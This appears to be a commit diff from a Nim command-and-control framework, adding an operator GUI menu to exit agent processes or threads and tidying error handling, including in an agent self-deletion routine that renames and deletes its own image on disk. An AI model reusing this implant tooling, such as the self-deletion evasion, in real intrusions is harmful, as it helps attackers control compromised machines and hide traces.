Added right-click context menu for exiting the agent process/thread.

src/agent/core/exit.nim

@@ -48,21 +48,21 @@ proc deleteSelfFromDisk*() =
     
     hLocalImgFile = CreateFileW(cast[LPCWSTR](addr szFileName[0]), DELETE or SYNCHRONIZE, FILE_SHARE_READ or FILE_SHARE_WRITE or FILE_SHARE_DELETE, NULL, OPEN_EXISTING, 0, 0)
     if hLocalImgFile == INVALID_HANDLE_VALUE:
-        raise newException(CatchableError, "CreateFileW [1]" & GetLastError().getError())
+        raise newException(CatchableError, GetLastError().getError())
 
     if SetFileInformationByHandle(hLocalImgFile, fileRenameInfo, addr fileRenameInfo2, cast[DWORD](sizeof(FILE_RENAME_INFO2))) == FALSE:
-        raise newException(CatchableError, "SetFileInfByHandle [1]" & GetLastError().getError())
+        raise newException(CatchableError, GetLastError().getError())
     
     CloseHandle(hLocalImgFile)
 
     hLocalImgFile = CreateFileW(cast[LPCWSTR](addr szFileName[0]),  DELETE or SYNCHRONIZE, FILE_SHARE_READ or FILE_SHARE_WRITE or FILE_SHARE_DELETE, NULL, OPEN_EXISTING, 0, 0)
     if hLocalImgFile == INVALID_HANDLE_VALUE: 
-        raise newException(CatchableError, "CreateFileW [2]" & GetLastError().getError())
+        raise newException(CatchableError, GetLastError().getError())
 
     fileDisposalInfoEx.Flags = FILE_DISPOSITION_FLAG_DELETE or FILE_DISPOSITION_POSIX_SEMANTICS
 
     if SetFileInformationByHandle(hLocalImgFile, fileDispositionInfoEx, addr fileDisposalInfoEx, cast[DWORD](sizeof(FILE_DISPOSITION_INFO_EX))) == FALSE: 
-        raise newException(CatchableError, "SetFileInfByHandle [2]" & GetLastError().getError())
+        raise newException(CatchableError, GetLastError().getError())
 
     CloseHandle(hLocalImgFile)
 

src/client/main.nim

@@ -74,6 +74,7 @@ proc main(ip: string = "localhost", port: int = 37573) =
         connection.ws.sendHeartbeat()
 
         # Receive and parse websocket response message 
+        try: 
             let event = recvEvent(connection.ws.receiveMessage().get(), connection.sessionKey)
             case event.eventType:
             of CLIENT_KEY_EXCHANGE: 
@@ -187,7 +188,7 @@ proc main(ip: string = "localhost", port: int = 37573) =
             else: discard 
     
             # Draw/update UI components/views
-        if showSessionsTable: sessionsTable.draw(addr showSessionsTable)   
+            if showSessionsTable: sessionsTable.draw(addr showSessionsTable, connection)   
             if showListeners: listenersTable.draw(addr showListeners, connection)
             if showEventlog: eventlog.draw(addr showEventlog)
             if showDownloads: lootDownloads.draw(addr showDownloads, connection)
@@ -206,7 +207,9 @@ proc main(ip: string = "localhost", port: int = 37573) =
             # This is done to ensure that closed console windows can be opened again
             consoles = newConsoleTable
 
-        igShowDemoWindow(nil)
+        except CatchableError as err:
+            echo "[-] ", err.msg
+            discard
 
         # render
         app.render()

src/client/views/console.nim

@@ -186,6 +186,9 @@ proc handleHelp(component: ConsoleComponent, parsed: seq[string]) =
     component.console.addItem(LOG_OUTPUT, "")
 
 proc handleAgentCommand*(component: ConsoleComponent, connection: WsConnection, input: string) =
+    # Add command to console
+    component.console.addItem(LOG_COMMAND, input)
+
     # Convert user input into sequence of string arguments
     let parsedArgs = parseInput(input)
     
@@ -291,9 +294,6 @@ proc draw*(component: ConsoleComponent, connection: WsConnection) =
 
         let command = ($(addr component.inputBuffer[0])).strip()
         if not command.isEmptyOrWhitespace(): 
-
-            component.console.addItem(LOG_COMMAND, command)
-
             # Send command to team server
             component.handleAgentCommand(connection, command)
 

src/client/views/sessions.nim

@@ -2,7 +2,9 @@ import times, tables, strformat, strutils, algorithm
 import imguin/[cimgui, glfw_opengl, simple]
 
 import ./console
+import ../core/[task, websocket]
 import ../utils/[appImGui, colors]
+import ../../modules/manager
 import ../../common/[types, utils]
 
 type 
@@ -43,7 +45,7 @@ proc interact(component: SessionsTableComponent) =
     
     component.selection.ImGuiSelectionBasicStorage_Clear()
 
-proc draw*(component: SessionsTableComponent, showComponent: ptr bool) = 
+proc draw*(component: SessionsTableComponent, showComponent: ptr bool, connection: WsConnection) = 
     igBegin(component.title, showComponent, 0)
 
     let textSpacing = igGetStyle().ItemSpacing.x
@@ -156,6 +158,35 @@ proc draw*(component: SessionsTableComponent, showComponent: ptr bool) =
                 component.interact()
                 igCloseCurrentPopup()
         
+            if igBeginMenu("Exit", true):
+                if igMenuItem("Process", nil, false, true): 
+                    for i, agent in component.agents:
+                        if ImGuiSelectionBasicStorage_Contains(component.selection, cast[ImGuiID](i)):
+                            if component.consoles[].hasKey(agent.agentId):
+                                component.consoles[][agent.agentId].handleAgentCommand(connection, "exit process")
+                            else: 
+                                let task = createTask(agent.agentId, agent.listenerId, getCommandByType(CMD_EXIT), @["process"])
+                                connection.sendAgentTask(agent.agentId, "exit process", task)
+
+                    ImGuiSelectionBasicStorage_Clear(component.selection)
+                    igCloseCurrentPopup()
+
+                if igMenuItem("Thread", nil, false, true):
+                    for i, agent in component.agents:
+                        if ImGuiSelectionBasicStorage_Contains(component.selection, cast[ImGuiID](i)):
+                            if component.consoles[].hasKey(agent.agentId):
+                                component.consoles[][agent.agentId].handleAgentCommand(connection, "exit thread") 
+                            else: 
+                                let task = createTask(agent.agentId, agent.listenerId, getCommandByType(CMD_EXIT), @["thread"])
+                                connection.sendAgentTask(agent.agentId, "exit thread", task)
+
+                    ImGuiSelectionBasicStorage_Clear(component.selection)
+                    igCloseCurrentPopup()
+
+                igEndMenu()
+
+            igSeparator()
+
             if igMenuItem("Remove", nil, false, true): 
                 # Update agents table with only non-selected ones
                 var newAgents: seq[UIAgent] = @[]

src/common/types.nim

@@ -25,7 +25,6 @@ type
         LONG = 3'u8
         BOOL = 4'u8 
         BINARY = 5'u8 
-        # FLAG = 6'u8
 
     HeaderFlags* = enum 
         # Flags should be powers of 2 so they can be connected with or operators